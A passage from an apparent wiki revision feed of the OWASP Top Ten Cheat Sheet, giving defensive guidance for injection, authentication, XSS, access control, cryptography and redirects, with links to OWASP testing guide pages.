||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Role_Definitions_(OTG-IDENT-001) Test Role Definitions (OTG-IDENT-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_User_Registration_Process_(OTG-IDENT-002) Test User Registration Process (OTG-IDENT-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Account_Provisioning_Process_(OTG-IDENT-003) Test Account Provisioning Process (OTG-IDENT-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Account_Enumeration_and_Guessable_User_Account_(OTG-IDENT-004) Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005) Testing for Weak or unenforced username policy (OTG-IDENT-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_default_credentials_(OTG-AUTHN-002) Testing for default credentials (OTG-AUTHN-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) Testing for Weak lock out mechanism (OTG-AUTHN-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) Test remember password functionality (OTG-AUTHN-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006) Testing for Browser cache weakness (OTG-AUTHN-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007) Testing for Weak password policy (OTG-AUTHN-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_security_question/answer_(OTG-AUTHN-008) Testing for Weak security question/answer (OTG-AUTHN-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009) Testing for weak password change or reset functionalities (OTG-AUTHN-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weaker_authentication_in_alternative_channel_(OTG-AUTHN-010) Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003) Testing for Privilege Escalation (OTG-AUTHZ-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_(OTG-SESS-001) Testing for Bypassing Session Management Schema (OTG-SESS-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) Testing for Cookies attributes (OTG-SESS-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003) Testing for Session Fixation (OTG-SESS-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_logout_functionality_(OTG-SESS-006) Testing for logout functionality (OTG-SESS-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Session_Timeout_(OTG-SESS-007) Test Session Timeout (OTG-SESS-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008) Testing for Session puzzling (OTG-SESS-008)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
*Output encode all user data as per output context&lt;br /&gt;
*Set input constraints&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation &lt;br /&gt;
(LR) Sanitize input &lt;br /&gt;
&lt;br /&gt;
''Tip: Only process data that is 100% trustworthy. Everything else is hostile and should be rejected.''&lt;br /&gt;
||''Tip: Do not store data HTML encoded in the database. This prevents new uses for the data, such as web services, RSS feeds, FTP batches, data warehousing, cloud computing, and so on.''&lt;br /&gt;
&lt;br /&gt;
''Tip: Use OWASP Scrubbr to clean tainted or hostile data from legacy data''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_JavaScript_Execution_(OTG-CLIENT-002) Testing for JavaScript Execution (OTG-CLIENT-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_HTML_Injection_(OTG-CLIENT-003) Testing for HTML Injection (OTG-CLIENT-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Cross_site_flashing_(OTG-CLIENT-008) Testing for Cross Site Flashing (OTG-CLIENT-008)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A4 Insecure Direct Object References'''&lt;br /&gt;
||If data is from internal trusted sources, no data is sent.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send indirect random access reference map value.&lt;br /&gt;
||Obtain data from internal, trusted sources.&lt;br /&gt;
&lt;br /&gt;
Or&lt;br /&gt;
&lt;br /&gt;
Obtain direct value from random access reference access map.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004) Testing for Insecure Direct Object References (OTG-AUTHZ-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion Testing for Local File Inclusion]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion Testing for Remote File Inclusion]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A5 Security Misconfiguration'''&lt;br /&gt;
||Ensure web servers and application servers are hardened.&lt;br /&gt;
&lt;br /&gt;
PHP: Ensure allow_url_fopen and allow_url_include are both disabled in php.ini. Consider the use of Suhosin extension &lt;br /&gt;
||Ensure web servers and application servers are hardened &lt;br /&gt;
&lt;br /&gt;
XML: Ensure common web attacks (remote XSLT transforms, hostile XPath queries, recursive DTDs, and so on) are protected by your XML stack. Do not hand craft XML documents or queries – use the XML layer. &lt;br /&gt;
||Ensure database servers are hardened &lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Server_(OTG-INFO-002) Fingerprint Web Server (OTG-INFO-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_Framework_(OTG-INFO-008) Fingerprint Web Application Framework (OTG-INFO-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Fingerprint_Web_Application_(OTG-INFO-009) Fingerprint Web Application (OTG-INFO-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001) Test Network/Infrastructure Configuration (OTG-CONFIG-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Application_Platform_Configuration_(OTG-CONFIG-002) Test Application Platform Configuration (OTG-CONFIG-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Infrastructure_and_Application_Admin_Interfaces_(OTG-CONFIG-005) Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006) Test HTTP Methods (OTG-CONFIG-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_(OTG-CONFIG-008) Test RIA cross domain policy (OTG-CONFIG-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) Analysis of Error Codes (OTG-ERR-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Stack_Traces_(OTG-ERR-002) Analysis of Stack Traces (OTG-ERR-002)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A6 Sensitive Data Exposure'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Use TLS 1.2 or later for all web communications.&lt;br /&gt;
*Buy extended validation (EV) certificates for public web servers.&lt;br /&gt;
&lt;br /&gt;
''Tip: Use TLS 1.2 always – even internally. Most snooping is done within corporate networks – and it is as easy and unethical as fishing with dynamite.''&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Do not send keys or hashes to the browser.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Use strong ciphers (AES 128 or better) with secure mode of operations (do not use ECB).&lt;br /&gt;
*Use strong hashes (SHA 256 or better) with salts for passwords.&lt;br /&gt;
*Protect keys more than any other asset.&lt;br /&gt;
*Mandate strong encrypted communications between web and database servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Only certain personally identifiable information and sensitive values MUST be encrypted. Encrypt data that would be embarrassing or costly if it was leaked or stolen. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: It is best to encrypt data on the application server, rather than the database server.''&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
&lt;br /&gt;
*Mandate strong encrypted communications with application servers and any other servers or administrative users.&lt;br /&gt;
&lt;br /&gt;
''Tip: Do not use RDBMS database, row or table level encryption. The data can be retrieved in the clear by anyone with direct access to the server, or over the network using the application credentials. It might even traverse the network in the clear despite being &amp;quot;encrypted&amp;quot; on disk. ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Padding_Oracle_(OTG-CRYPST-002) Testing for Padding Oracle (OTG-CRYPST-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003) Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007) Test HTTP Strict Transport Security (OTG-CONFIG-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A7 Missing Function Level Access Control'''&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Ensure all non-web data is outside the web root (logs, configuration, etc).&lt;br /&gt;
*Use octet byte streaming instead of providing access to real files such as PDFs or CSVs or similar.&lt;br /&gt;
*Ensure every page requires a role, even if it is &amp;quot;guest&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
''Pre-render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to view secured URL.&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
||&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform secured action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
&lt;br /&gt;
''Tip: It's impossible to control access to secured resources that the web application server does not directly serve. Therefore, PDF reports or similar should be served by the web application server using binary octet streaming. ''&lt;br /&gt;
&lt;br /&gt;
''Tip: Assume attackers '''will''' learn where &amp;quot;hidden&amp;quot; directories and &amp;quot;random&amp;quot; filenames are, so do not store these files in the web root, even if they are not directly linked.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) Testing Directory traversal/file include (OTG-AUTHZ-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A8 Cross Site Request Forgery'''&lt;br /&gt;
||''Pre-render:''&lt;br /&gt;
*Validate user is authenticated&lt;br /&gt;
*Validate role is sufficient for this view&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Send CSRF token.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
||&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate role is sufficient.&lt;br /&gt;
&lt;br /&gt;
''Tip: CSRF is '''always '''possible if there is XSS, so make sure XSS is eliminated within your application.''&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A9 Using Components with Known Vulnerabilities'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Enumerate_Applications_on_Webserver_(OTG-INFO-004) Enumerate Applications on Webserver (OTG-INFO-004)]'' &lt;br /&gt;
|-&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A10 Unvalidated Redirects and Forwards'''&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Use random indirect object references for redirection parameters.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Design the app without URL redirection parameters.&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
*Obtain direct redirection parameter from random indirect reference access map.&lt;br /&gt;
*(LR) Positive validation of redirection parameter.&lt;br /&gt;
*(NR) Java – Do not forward() requests as this prevents SSO access control mechanisms.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
*Validate role is sufficient to create, read, update, or delete data.&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for Client Side URL Redirect (OTG-CLIENT-004)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Andrew van der Stock vanderaj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
Ismael Rocha Gonçalves ismaelrg[at]gmail.com&lt;br /&gt;
&lt;br /&gt;
Jorge Correa jacorream@gmail.com&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231989</id>
		<title>OWASP Top Ten Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Top_Ten_Cheat_Sheet&amp;diff=231989"/>
				<updated>2017-08-02T23:23:12Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following is a developer-centric defensive cheat sheet for the 2013 release of the [[OWASP Top Ten Project]]. It also presents a quick reference based on [[OWASP Testing Project]] to help how to identify the risks.&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Cheat Sheet =&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
| &lt;br /&gt;
||'''Presentation'''&lt;br /&gt;
||'''Controller'''&lt;br /&gt;
||'''Model'''&lt;br /&gt;
||'''Testing (OWASP Testing Guide V4)'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A1 Injection'''&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
''Render:''&lt;br /&gt;
*Set a correct content type&lt;br /&gt;
*Set safe character set (UTF-8)&lt;br /&gt;
*Set correct locale&lt;br /&gt;
&lt;br /&gt;
''On Submit:''&lt;br /&gt;
*Enforce input field type and lengths.&lt;br /&gt;
*Validate fields and provide feedback.&lt;br /&gt;
*Ensure option selects and radio contain only sent values.&lt;br /&gt;
||'''Canonicalize using correct character set'''&lt;br /&gt;
'''Positive input validation using correct character set'''&lt;br /&gt;
&lt;br /&gt;
(NR) Negative input validation.&lt;br /&gt;
(LR) Sanitize input.&lt;br /&gt;
&lt;br /&gt;
''Tip: updating a negative list (such as looking for &amp;quot;script&amp;quot;, &amp;quot;sCrIpT&amp;quot;, &amp;quot;ßCrîpt&amp;quot;, etc) will require expensive and constant deployments and will '''always '''fail as attackers work out your list of &amp;quot;bad&amp;quot; words. Positive validation is simpler, faster and usually more secure and needs updating far less than any other validation mechanism. ''&lt;br /&gt;
||*'''[https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet Parameterized queries]'''&lt;br /&gt;
&lt;br /&gt;
*Object relational model (Hibernate).&lt;br /&gt;
*Active Record design pattern.&lt;br /&gt;
*Stored procedures.&lt;br /&gt;
&lt;br /&gt;
*Escape mechanisms such as ESAPI's Encoder:&lt;br /&gt;
**EncodeForLDAP()&lt;br /&gt;
**Encoder.EncodeforOS()&lt;br /&gt;
&lt;br /&gt;
''Tip: '''All '''SQL Injection is due to dynamic SQL queries. Strongly consider prohibiting dynamic SQL queries within your organization ''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
* [[Testing for SQL Injection (OTG-INPVAL-005)]]&lt;br /&gt;
* [[Testing for LDAP Injection (OTG-INPVAL-006)]]&lt;br /&gt;
* [[Testing for ORM Injection (OTG-INPVAL-007)]]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
* [[Testing for SSI Injection (OTG-INPVAL-009)]]&lt;br /&gt;
* [[Testing for XPath Injection (OTG-INPVAL-010)]]&lt;br /&gt;
* [[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)]]&lt;br /&gt;
* [[Testing for Code Injection (OTG-INPVAL-012)]]&lt;br /&gt;
* [[Testing for Command Injection (OTG-INPVAL-013)]]&lt;br /&gt;
* [[Testing for Buffer Overflow (OTG-INPVAL-014)]]&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A2 Weak authentication and session management'''&lt;br /&gt;
||''Render:''&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient for this view.&lt;br /&gt;
*Set &amp;quot;secure&amp;quot; and &amp;quot;HttpOnly&amp;quot; flags for session cookies.&lt;br /&gt;
*Send CSRF token with forms.&lt;br /&gt;
&lt;br /&gt;
||''Design:''&lt;br /&gt;
*Only use inbuilt session management.&lt;br /&gt;
*Store secondary SSO / framework / custom session identifiers in native session object – do not send as additional headers or cookies.&lt;br /&gt;
&lt;br /&gt;
*Validate user is authenticated.&lt;br /&gt;
*Validate role is sufficient to perform this action.&lt;br /&gt;
*Validate CSRF token.&lt;br /&gt;
||Validate role is sufficient to create, read, update, or delete data&lt;br /&gt;
&lt;br /&gt;
''Tip: Consider the use of a &amp;quot;governor&amp;quot; to regulate the maximum number of requests per second / minute / hour that this user may perform. For example, a typical banking user should not perform more than ten transactions a minute, and one hundred per second is dangerous and should be blocked.''&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Role_Definitions_(OTG-IDENT-001) Test Role Definitions (OTG-IDENT-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_User_Registration_Process_(OTG-IDENT-002) Test User Registration Process (OTG-IDENT-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Account_Provisioning_Process_(OTG-IDENT-003) Test Account Provisioning Process (OTG-IDENT-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Account_Enumeration_and_Guessable_User_Account_(OTG-IDENT-004) Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_or_unenforced_username_policy_(OTG-IDENT-005) Testing for Weak or unenforced username policy (OTG-IDENT-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001) Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_default_credentials_(OTG-AUTHN-002) Testing for default credentials (OTG-AUTHN-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) Testing for Weak lock out mechanism (OTG-AUTHN-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) Testing for bypassing authentication schema (OTG-AUTHN-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Vulnerable_Remember_Password_(OTG-AUTHN-005) Test remember password functionality (OTG-AUTHN-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-AUTHN-006) Testing for Browser cache weakness (OTG-AUTHN-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_password_policy_(OTG-AUTHN-007) Testing for Weak password policy (OTG-AUTHN-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weak_security_question/answer_(OTG-AUTHN-008) Testing for Weak security question/answer (OTG-AUTHN-008)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_weak_password_change_or_reset_functionalities_(OTG-AUTHN-009) Testing for weak password change or reset functionalities (OTG-AUTHN-009)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Weaker_authentication_in_alternative_channel_(OTG-AUTHN-010) Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002) Testing for bypassing authorization schema (OTG-AUTHZ-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003) Testing for Privilege Escalation (OTG-AUTHZ-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_Management_Schema_(OTG-SESS-001) Testing for Bypassing Session Management Schema (OTG-SESS-001)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002) Testing for Cookies attributes (OTG-SESS-002)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_Fixation_(OTG-SESS-003) Testing for Session Fixation (OTG-SESS-003)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005) Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_logout_functionality_(OTG-SESS-006) Testing for logout functionality (OTG-SESS-006)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Test_Session_Timeout_(OTG-SESS-007) Test Session Timeout (OTG-SESS-007)]''&lt;br /&gt;
''[https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008) Testing for Session puzzling (OTG-SESS-008)]''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
|'''A3 XSS'''&lt;br /&gt;
